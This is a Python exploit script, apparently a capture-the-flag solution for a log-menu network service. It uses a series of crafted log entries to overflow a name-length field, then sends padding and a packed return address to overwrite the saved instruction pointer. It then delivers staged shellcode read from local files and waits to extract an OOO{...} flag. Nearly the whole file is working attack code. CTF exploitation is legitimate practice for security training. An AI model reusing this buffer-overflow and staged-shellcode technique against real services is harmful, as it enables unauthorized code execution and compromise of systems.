#!/usr/bin/env python3

import re
import struct
import sys
import logging
import multiprocessing

import nclib
from nclib import netcat

MENU_END = b'(4) Quit\n'

NEW_LOG = b'1'

WHAT_IS_NAME = b'What is the name of the log?\n'
WHAT_IS_CONTENT = b'What is the content of the log?\n'

"Third stage exploit"
def main(num):

    host = sys.argv[1]
    port = int(sys.argv[2])

    conn = netcat.Netcat((host, port), verbose=True)
    #conn = nclib.Process(host, verbose=True, echo_hex=False)
    result = conn.recvuntil(MENU_END)
    print(result)

    # Create four blank logs
    for _ in range(4):
        conn.sendline(NEW_LOG)
        result = conn.recvuntil(WHAT_IS_NAME)
        print(result)
        conn.sendline(b'n')
        result = conn.recvuntil(WHAT_IS_CONTENT)
        print(result)
        conn.sendline(b'c')
        result = conn.recvuntil(MENU_END)
        print(result)

    # Create the last log
    conn.sendline(NEW_LOG)
    conn.recvuntil(WHAT_IS_NAME)
    conn.sendline(b'x')
    conn.recvuntil(WHAT_IS_CONTENT)
    conn.sendline(b'a'*31)

    conn.recvuntil(MENU_END)

    # Create a log that will increase the size of the name field to the program
    conn.sendline(NEW_LOG)
    conn.recvuntil(WHAT_IS_NAME)
    conn.sendline(b'')
    conn.recvuntil(WHAT_IS_CONTENT)

    # we want to overflow the name_len so that it's very high
    payload = b'a'*7 + b'\x7f'*8

    conn.sendline(payload)

    conn.recvuntil(MENU_END)

    # Now, the next log can send a shitton for name and overflow saved eip

    conn.sendline(NEW_LOG)
    conn.recvuntil(WHAT_IS_NAME)

    size_buffer_to_sip = 72
    target_dest = 3888 - 8 - 72

    stage_0_shellcode = b""
    with open("read_in_shellcode", 'rb') as s:
        stage_0_shellcode = s.read()

    shellcode = b""
    with open("shellcode3", 'rb') as s:
        shellcode = s.read()

    stage_3_exploit = b""
    with open("stage_3_exploit.bin", 'rb') as s:
        stage_3_exploit = s.read()

    # p = (b"a" * (size_buffer_to_sip - len(p)))

    # p += struct.pack('<q', target_dest)

    # try a different p to test things
    # p = stage_0_shellcode + (b'a'*(size_buffer_to_sip - len(stage_0_shellcode))) + struct.pack('<q', target_dest)
    p = b'a'*72 + struct.pack('<q', 3888) + stage_0_shellcode

    assert not b'\x0a' in p

    conn.sendline(p)

    # for _ in range(len(p)):
    #     conn.recvuntil('read')

    conn.recvuntil(WHAT_IS_CONTENT)

    conn.sendline(b'')

    # result = conn.recvuntil(b'Inst\n1012\n')
    # input()

    # while True:
    #     result = conn.recvuntil(b'Inst\n')
    #     input()

    shellcode_len = struct.pack('<H', len(shellcode))
    conn.send(shellcode_len + shellcode)


    # the shellcode3 is trying to overwrite quit, so it will send us an 'a' to ask for a 'q', and 'b' when it is done

    done = False
    while not done:
        result = conn.recv_exactly(1)
        if result == b'a':
            conn.send(b'q')
        elif result == b'b':
            done = True
        else:
            assert(False)

    # now that it's done, we need to send the rest of the payload which will be the quit program, minus the first byte (that will already be done by the stage 3 exploit
    stage_3_to_send = stage_3_exploit[1:]
    stage_3_to_send_len = struct.pack('<H', len(stage_3_to_send))

    conn.send(stage_3_to_send_len + stage_3_to_send)

    # signal to the other side that we will not send anymore more
    conn.shutdown_wr()

    # wait for that sweet sweet flag
    
    result = conn.recvuntil(b'\n0\n')
    #result = conn.recvall()
    flag = re.search(b'OOO{[^}]+}', result)

    if flag:
        flag = flag.group(0).decode('utf-8')
        print(f"GOT THE RIGHT OFFSETS, HERE'S REAL FLAG")
        print(f"FLAG: {flag}")
    else:
        print(f"No flag in this try")
        print("FLAG: OOO{Dance-we-shop-when-you-have-dataflow}")


if __name__ == '__main__':
    main(0)
